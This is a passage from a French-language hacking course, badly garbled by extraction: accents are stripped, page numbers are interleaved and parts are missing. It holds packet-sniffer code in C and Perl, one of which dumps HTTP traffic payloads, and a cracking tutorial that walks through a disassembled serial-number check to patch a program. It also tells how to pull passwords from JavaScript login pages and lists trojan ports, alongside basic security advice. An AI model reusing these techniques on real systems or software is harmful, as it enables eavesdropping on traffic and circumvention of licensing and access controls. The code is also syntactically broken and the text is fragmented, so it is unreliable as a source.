que contiennent les 2 variables spciales.
if(adr)
{
printf("Voici l'
adresse de l'
interface par dfaut: %x\n",adr);
}
if(masque)
{
printf("Voici le masque de rseau de l'
interface par dfaut: %x\n",masque);
}
Pour traiter les paquets circulant sur le rseau, on ouvre une boucle infinie.
while(1)
{
Puis on utilise la fonction pcap_next() pour capturer un paquet.
paquet = pcap_next(paq,&head);
230
Et on affiche les informations du paquets pour quelles soient vues par lutilisateur.
if(head.caplen < s) continue;
header = (struct ether_header *)paquet;
for(a=0; a<ETH_ALEN; a++)
printf("%s%02x",a==0 ? "" : ":",header->ether_shost[a]);
for(a=0; a<ETH_ALEN; a++)
printf("--->%s%02x",a==0 ? "" : ":",header->ether_dhost[a]);
Voici, on vient de dvelopper un sniffer basic mais qui, normalement, marche. Pour
lamliorer, on pourrait ajouter un code qui afficherait les statistiques de capture des
paquets.
De plus on a pas dot le sniffer dune fonction arrtant la capture.
Maintenant, on va voir 2 sniffers diffrents, programms en Perl. Ils ne seront pas
comments et vous aurez comme exercice de le faire partir de tout ce quon a vu
dans ce livre. Aprs cela, vous serez mme de dvelopper vos propres sniffers en C,
en Perl et dans dautres languages car vous aurez compris comment les sniifers
fonctionnent.
1er sniffer :
use strict;
use English;
use ExtUtils::testlib;
use Net::Pcap;
//---------------------------dclarations---------------------------------//
my($dev, $pcap_t, $pcap_dumper_t, $err, $filter, $strf, $mask, $net, $res, $paq,
$lnet);
my $dumpfile = "-";
//---------------------------ici, c'
est une routine--------------------------------//
sub process_pkt {
my($user, $hdr, $pkt) = @_;
231
232
}
//--------------------on chope les paquets------------------------//
while ($paq = Net::Pcap::next($pcap_t, \%hdr)) {
$pcap_dumper_t = Net::Pcap::dump_open($pcap_t, $dumpfile);
unless (defined($pcap_dumper_t)) {
print("Erreur avec Net::Pcap::dump_open\n");
exit 0;
}
Net::Pcap::loop($pcap_t, -1, \&process_pkt, "khaalel");
Net::Pcap::dump_close($pcap_dumper_t);
}
Net::Pcap::close($pcap_t);
2me sniffer :
use Net::RawIP;
use Socket;
$a = new Net::RawIP;
$pcap = $a->pcapinit("eth0",
"proto \\tcp and ( dst port 80 or dst port 8080)",1500,30);
loop $pcap,-1,\&dumpit,\@a;
sub dumpit {
$a->bset(substr($_[2],14));
($ipsrc,$ipdst,$source,$dest,$data) = $a->get(
{ ip=>[qw(saddr daddr)],
tcp=>[qw(data source dest)]}
);
print inet_ntoa(pack("N",$ipsrc))," [$source] -> ",
inet_ntoa(pack("N",$ipdst))." [$dest]\n";
print "$data"\n";
};
233
234
Partie V :
Annexes
235
Cette dernire partie a en mme temps un rle de conclusion (avec le chapitre sur les
principes importants de scurit) mais introduit aussi de nouvelles notions que vous
pourrez completer avec dautres livres traitant des sujets prsents.
236
237
Principes de scurit
Dans ce chapitre, nous allons voir ensemble comment minimiser les problmes dues
aux pirates informatiques. Nous allons dans un premier temps voir les traces que nous
laissons derrire nous aprs avoir surf sur internet et comment les enlever, puis nous
allons voir 2 types d'
attaques pouvant tre portes envers les navigateurs. Dans un
deuxme temps, nous allons voir comment se scuriser en local grce des IDS, des
firewall, des antivirus, et des architectures rseau scurises
Pour finir, nous allons voir comment mener une bonne politique de scurit, aussi
bien en entreprise, en petit rseau local ou en famille. Ce chapitre est compltement et
totalement orient scurit des systmes et des personnes.
traces du Web :
les traces locales :
adresses des sites visits :
Elles sont contenus dans la barre dadresses et permettent de retourner sur un
site sans retaper son adresse.
Pour visiter un site sans que ladresse ne figure dans la barre dadresse, il vous
faut aller sur ce site laide de Ouvrir du menu Fichier.
Pour effacer les adresses contenues dans la barre droulante de la barre
dadresses, il vous suffit daller dans Outils/Options Internet/Contenu/Saisie
semi-automatique et deffacer les formulaires et mots de passe.
238
239
lhistorique :
Il permet de retourner rapidement sur des sites dj visits. Mais vous ne
voudriez pas que ceux qui partagent votre PC accdent lhistorique et encore
moins au sites que vous avez visits.
Pour supprimer les informations contenues dans lhistorique, il vous suffit de
cliquer sur le bouton Effacer lhistorique dans longlet Gnral des Options
dinternet (de la mme faon avec Netscape Communicator).
240
le cache :
Cest une zone qui permet de ne pas recharger toutes les pages dun site
chaque visite. Le problme est que lon peut y accder, donc savoir tout ce que
vous avez vu pendant votre temps pass sur internet.
Pour supprimer le cache, vous devez cliquer sur le bouton Supprimer les
fichiers dans longlet Gnral des Options dinternet. (Avec Netscape
Communicator, vous devez aller dans la catgories Avances, slectionner la
section Cache et cliquer sur le bouton Vider le cache sur disque) Vous pouvez
aussi redfinir la taille pour le stockage du cache (en le mettant 1ko par
exemple).
241
242
Parades :
Utiliser des serveurs proxys, ou passer par des services danonymat proposs par des
sites comme anonymizer.com.
243
Parades :
Vous ne devez visiter que les sites de confiance et mettre jour rgulirement votre
navigateur laide des patchs des diteurs. Vous pouvez aussi reconfigurer les
paramtres de votre navigateur en dsactivant le Java et le Javascript et installer un
firewall sur votre ordinateur (comme Zone Alarm).
les antivirus :
Les antivirus sont des logiciels qui servent dtecter les virus, chevaux de trois, et
autres fichiers infectant et infects. Il existe plusieurs types d'
antivirus avec leurs
mthodes spcifiques pour radiquer les virus (pour plus informations, rfrez-vous
au chapitre sur la lutte anti-virale) .
Voici une liste de certains antivirus :
Panda Antivirus
244
VirusScan de McAfee
Antivirus Kapersky
Norton Antivirus
OpenAntivirus ( pour les systmes UNIX/LINUX )
Antivir
les firewalls :
(cf le chapitre sur les murs par-feu et leur contournement)
Voici diffrentes firewall aussi bien gratuit que commerciaux :
Norton Firewall
McAfee Personal Antivirus
ZoneAlarm
245
les IDS :
(cf le chapitre sur les IDS pour savoir quoi ils servent et comment il fonctionne) .
Voici une liste dIDS :
Snort
Guard de ISS
Cisco Secure IDS de CISCO SYSTEMS
Dragon Squire de INTERASYS NETWORK
246
net (comme les serveurs Web, FTP, mail) et elle va adopter des stratgies de
dfense visant diminuer les possibilits d'
attaque.
Les diffrentes architectures ont aussi pour but de fournir l'
entreprise les services
d'
internet (comme faire un site dans le but de laisser sa trace sur la toile) sans pour
autant laisser les systmes du rseau priv de l'
entreprise accder internet. Si vous
voulez que tous les systmes du rseau de l'
entreprise puisse accder Internet, vous
pouvez utiliser la technologie NAT ou NPAT en plus de la DMZ ou sans cette
dernire. Nous verrons en dernier les possibilits offertes par NAT et NPAT.
Avant de continuer, ce prsent chapitre a seulement pour but de vous informer sur le
comment de la mise en place d'
un rseau scuris, cela ne vous dispense en aucun cas
de faire appel un ingnieur rseau et systme qui vous mettra votre rseau en place
car premirement ce dernier a fait des tudes dans ce domaine donc est plus
comptent que tout patron ou autres personnes voulant mettre en place le rseau,
deuximement, il sera le seul pouvoir ragir spontanment lors de problmes dans la
mise en place du rseau (aussi bien des problmes d'
espace que de temps).
une DMZ classique :
Placez d'
un ct le rseau interne, de l'
autre ct votre accs internet, mais ne les
reliez pas encore.
Entre ces deux parties, mettez deux systmes de filtrage de paquets (firewall/routeur).
Maintenant, placez entre ces deux systmes de filtrage, tous les systmes utilisant
internet pour fonctionner.
Pour finir, vous allez devoir configurer le systme de filtrage connectant la DMZ
internet de sorte qu'
il naccepte que les paquets en direction d'
lments tant dans la
DMZ donc tous les paquets en direction dun systme se situant dans le rseau priv
doivent tre dtruits, journaliss
Vous pouvez configurer le systme de filtrage connectant la DMZ au rseau priv
comme vous le voulez.
une DMZ un peu plus volu :
Cette architecture est semblable une DMZ classique, la seule diffrence est que l'
on
va utiliser ce que l'
on appelle une bascule de protocole : cest--dire que la DMZ
ne va pas utiliser la pile de protocole TCP/IP. Elle va utiliser un autre protocole entre
les deux systmes de filtrage ou de routage.
Vous pouvez aussi faire du tunneling ou crer votre propre protocole scuris.
NAT et NPAT :
NAT (Network Adress Translation) est un systme qui permet d'
attribuer une adresse
publique (du Net) chaque adresse prive du rseau.
247
NPAT (Network Port Adress Translation) est un systme qui permet d'
attribuer une
adresse publique pour toutes les adresses prives du rseau.
Ces deux systmes sont la fois des solutions pour des ventuels problmes
d'
adressage mais aussi des solutions pour scuriser son rseau priv car lorsque un
pirate se trouvera en face d'
un rseau utilisant NAT/NPAT, il verra seulement, lors de
son scan, une seule machine (ayant ladresse IP public) et ne se doutera peut-tre pas
qu'
elle cache un rseau.
Certains diront : oui, ces technologies sont superbes mais cela implique de
concentrer tous les services sur une seule machine !
Et bien non, il suffit de configurer la machine (qui serait soit un routeur, soit un
firewall) de sorte que toutes les requtes en direction d'
un port spcifi soit rediriges
vers le systme qui s'
occupe de traiter les requtes ont rediriges.
Cela s'
appelle le Port Forwarding.
la politique de scurit :
Une bonne scurit passe par une bonne gestion du parc informatique, par des mis
jour frquentes des logiciels, base de donnes, mais aussi par des audits des systmes
et logiciels du rseau et par une sensibilisation des personnes de l'
entreprise ou de la
famille.
audits :
Arriv ce stade du livre, nous sommes maintenant capables de dcouvrir des
vulnrabilits/failles d'
un rseau ou de logiciels en nous aidant de scanners de
vulnrabilit comme nmap, SATAN, SAINT, Whisker, Nessus
Lorsquune machine a t pirate, analysez immdiatement les fichiers logs dans le
but dtablir une feuille dtat. Cette feuille devra principalement contenir:
- les accs rseaux au systme ayant ou non russis.
- les accs locaux des fichiers locaux ayant ou non russis.
- les divers vnements (programmes lancs, plantages) tant
survenus sur le systme.
- tous les comptes du systme avec leur UID, les dates et heures
de connexion des utilisateurs
sensibilisation :
248
Cette tape est trs importante car certains pirates vont prfrer s'
attaquer des
systmes en passant par les utilisateurs grce des techniques comme le social
engineering
C'
est pour cela quil faut organiser des confrences de sensibilisation o l'
on
expliquera aux utilisateurs (employs, amis, famille) de ne pas ouvrir n'
importe
quel message contenant ou non des pices jointes, de ne pas donner n'
importe quelles
informations des personnes (que ce soit au tlphone, dans un mail), de contacter
l'
administrateur rseau ds quils dtectent une erreur ou un comportement douteux
d'
un logiciel ou d'
un systme, de changer rgulirement de mot de passe, et le plus
important qui est de ne pas choisir des mots de passe trop vident.
Ce chapitre a prsent quelques points importants dans la mise en place de systmes,
de politiques de protection de la confidentialit, de l'
intgrit des rseaux et systmes
d'
informations.
Pour avoir de meilleurs conseils, vous devez collecter des informations rgulirement
mises jour en rapport vos activits dans le rseau (veille, l'
administration du parc
informatique, scurit) l'
aide de newsletters, de moteurs de recherche, d agents
intelligents, de journaux/magazines (comme le MISC, le The Hackademy Journal)
249
250
cd \
cd [rpertoire]
choice
cls
copy [fichier] [rpertoire]
ctty
debug
del [fichier]
dir /p
dir [rpertoire]
dir [lettre]*
dir [lecteur]
diskcopy [lecteur1] [lecteur2]
@echo off [commande]
Echo.
Edit [texte]
Erase [ficher]
fdisk
Format [lecteur]
F3
goto
if
251
mem
mkdir [rpertoire]
pause
recover
ren [fichier].[nouvelle_extension]
rename [ancien] [nouveau]
rmdir [rpertoire]
type [fichier_txt]
ver
vol [lecteur]
C:\Windows\\*.*
C:\Windows\\*.[extension]
252
253
Port utilis
Le cheval de troie
19
Chargen
21
Blade Runner
Invisible FTP
Net Administrator
31
Hackers Paradise
Masters Paradise
41
DeepThroat
80
RingZero
99
Hidden Port
113
119
Happy 99
121
JammerKillah
123
Net Controller
146
Infector
170
A-trojan
421
TCP Wrappers
456
Hackers Paradise
555
NetAdministrator
Phase Zero
666
Attack FTP
Back Construction
669
DP Trojan
911
Dark Shadow
999
DeepThroat
1000
Der Spacher 3
1001
Silencer
1010
Doly Trojan
1011
Doly Trojan
1012
Doly Trojan
1015
Doly Trojan
1016
Doly Trojan
254
1020
Vampire
1024
NetSpy
1025
Maverick'
s Matrix
1033
ICQ Trojan
1045
Rasmin
1050
MiniCommand
1080
WinHole
1081
WinHole
1082
WinHole
1083
WinHole
1099
Bfevolution
RAT
1170
1200
NoBackO
1201
NoBackO
1207
SoftWAR
1212
Kaos
1225
Scarab
1234
Ultors Trojan
1243
BackDoor-G
SubSeven
SubSeven Apocalypse
1255
Scarab
1257
1349
BO DLL
1394
BackDoor
1492
FTP99CMP
1524
Trinoo
1600
Shivka-Burka
1777
Scarab
1807
SpySender
1966
Fake FTP
1969
OpC BO
1981
Shockrave
1999
BackDoor
TransScout
255
2140
2155
Illusion Mailer
2565
Striker
2583
WinCrash
2600
Digital RootBeer
2716
The Prayer
2721
Phase Zero
2773
SubSeven
3128
RingZero
3129
Masters Paradise
3150
Deep Throat
3456
Teror Trojan
3459
Eclipse 2000
Sanctuary
3700
Portal of Doom
3791
Eclypse
3801
Eclypse
4000
Skydance
4092
WinCrash
4242
4444
Prosiak
4590
ICQTrojan
5000
Sockets de Troie
5001
Sockets de Troie
5032
NetMetropolitan
5321
Firehotcker
5343
wCrat
5400
Blade Runner
Back Construction
5401
Blade Runner
Back Construction
5402
Blade Runner
Back Construction
5521
Illusion Mailer
5550
X-Tcp Trojan
5555
ServeMe
5556
BO Facil
256
5557
BO Facil
5569
Robo-Hack
5637
PC Crasher
5638
PC Crasher
5666
PC Crasher
5742
WinCrash
5888
Y3K RAT
6000
The Thing
6272
Secret Service
6400
The Thing
6667
Schedule Agent
6669
Host Control
6670
DeepThroat
WinNuke eXtreame
6711
SubSeven
6712
Funny Trojan
SubSeven
6713
SubSeven
6723
Mstream
6771
DeepThroat
6776
2000 Cracks
SubSeven
6838
Mstream
6912
Shit Heep
6939
Indoctrination
6969
NetController
6970
GateCrasher
7000
Remote Grab
SubSeven
7001
Freak88
7215
SubSeven
7300
NetMonitor
7301
NetMonitor
7302
NetMonitor
7303
NetMonitor
7304
NetMonitor
7305
NetMonitor
257
7306
NetMonitor
7307
NetMonitor
7308
NetMonitor
7309
NetMonitor
7323
Sygate Backdoor
7424
Host Control
7424
Host Control
7789
7983
Mstream
8080
RingZero
8787
8897
HackOffice
8988
BacHack
8989
Rcon
9000
Netministrator
9325
Mstream
9400
InCommand
9872
Portal of Doom
9876
9999
The Prayer
10067
Portal of Doom
10085
Syphillis
10086
Syphillis
10101
BrainSpy
10167
Portal of Doom
10498
Handler to Agent
10528
Host Control
10520
Acid Shivers
10607
Coma
10666
Ambush
11000
Senna Spy
11051
Host Control
11223
Progenic trojan
12076
Gjamer
12223
Hack99 KeyLogger
258
12345
NetBus
Pie Bill Gates
12346
NetBus
12349
BioNet
12361
Whack-a-mole
12456
NetBus
12623
DUN Control
12624
Buttman
12631
WhackJob
12701
Eclipse 2000
13000
Senna Spy
13010
Hacker Brazil
15092
Host Control
16484
Mosucker
16772
ICQ Revenge
16969
Priority
17166
Mosaic
17300
17777
Nephron
18753
Shaft
19864
ICQ Revenge
20000
Millennium
20034
NetBus 2 Pro
20203
Chupacabra
20331
Bla
20433
21544
GirlFriend
21554
GirlFriend
22222
Prosiak
23023
Logged
23432
Asylum
23456
Evil FTP
Ugly FTP
26274
Delta Source
26681
Spy Voice
27374
SubSeven
27444
Trinoo
259
27573
SubSeven
27665
Trinoo
29104
Host Control
30029
AOL Trojan
30100
NetSphere
30101
NetSphere
30102
NetSphere
30103
NetSphere
30103
NetSphere
30133
NetSphere
30303
Sockets de Troie
30947
Intruse
30999
Kuang2
31335
Trinoo
31336
Bo Whack
ButtFunnel
31337
BO client
BO2
31337
BackFire
Back Orifice,
31338
NetSpy DK
31338
Back Orifice
DeepBO
31339
NetSpy DK
31666
BOWhack
31785
HackaTack
31787
HackaTack
31788
HackaTack
31789
HackaTack
31790
HackaTack
31791
HackaTack
31792
HackaTack
32100
Project nEXT
32418
Acid Battery
33577
PsychWard
34555
Trinoo (Windows)
35555
Trinoo (Windows)
260
37651
YAT
40412
The Spy
40421
Masters Paradise
40422
Masters Paradise
40423
Masters Paradise
40425
Masters Paradise
40426
Masters Paradise
41666
Remote Boot
41666
Remote Boot
44444
Prosiak
47252
Delta Source
49301
Online KeyLogger
50505
Sockets de Troie
50766
Fore
50776
Fore
54320
54321
School Bus
54321
60000
Deep Throat
61348
Bunker-Hill
63485
Bunker-Hill
65000
Devil
65432
The Traitor
261
262
Alors, quand on la lance, elle nous demande dentrer un nom et un numro de srie.
Quand on essaie de valider un faux nom et un faux numro de srie, elle nous
affichent :
263
Dans la nouvelle fentre qui souvre, double cliquez sur le message derreur One of
the Details you entered was wrong.
Ceci devrait nous amener lendroit o il est utilis dans le code source (soit cette
ligne :
:0040153D 6838304000 push 00403038.)
Pour comprendre comment nous arrivons ce message derreur, il va falloir remonter
de quelques lignes dans le code source.
264
Dans ce code, nous apercevons certaines instructions qui font des comparaisons et des
sauts conditionnels.
:0040150C
:00401511
:00401513
:00401516
:00401518
:0040151C
:0040151E
:00401522
:00401524
:00401528
:0040152A
:0040152E
:00401530
:00401534
E833030000
8B07
803836
751E
80780132
7518
80780238
7512
80780337
750C
8078042D
7506
80780541
7417
Call 00401844
mov eax, dword ptr [edi]
cmp byte ptr [eax], 36
jne 00401536
cmp byte ptr [eax+01],
jne 00401536
cmp byte ptr [eax+02],
jne 00401536
cmp byte ptr [eax+03],
jne 00401536
cmp byte ptr [eax+04],
jne 00401536
cmp byte ptr [eax+05],
je 0040154D
32
38
37
2D
41
Puis nous voyons que nous arrivons au message derreur partir de plusieurs
rfrences (dont les adresses sont celles des sauts conditionnels).
265
Ce tutorial sur le cracking avait pour but de vous montrer comment il tait possible de
patcher un programme. Bien sr, cest un challenge simple russir mais qui est
intressant pour une initiation.
266
267
Lorsque lon est en face de protection par mot de passe utilisant le javascript, il faut,
en premier, aller voir le code source de la page (grce Affichage/Source) et
lanalyser car la plupart du temps le dveloppeur y a insr les informations de
connexion (dans le code en javascript, pour plus de prcision).
Voici le code source de la page:
<html>
<head>
<title>Authentification</title>
268
269
270
location.href=url;
}
</script>
</body>
</html>
271
</SCRIPT>
272
273
AU REVOIR
NOUBLIEZ PAS, KNOWLEDGE IS
POWER
KHAALEL
Pour finir en beaut ce cours, voici des images humoristiques (pour moi en tout cas).
Certaines seront un peu critiques lgard de Bill Gates, mais ce nest que de
lhumour, faut se dtendre
274
275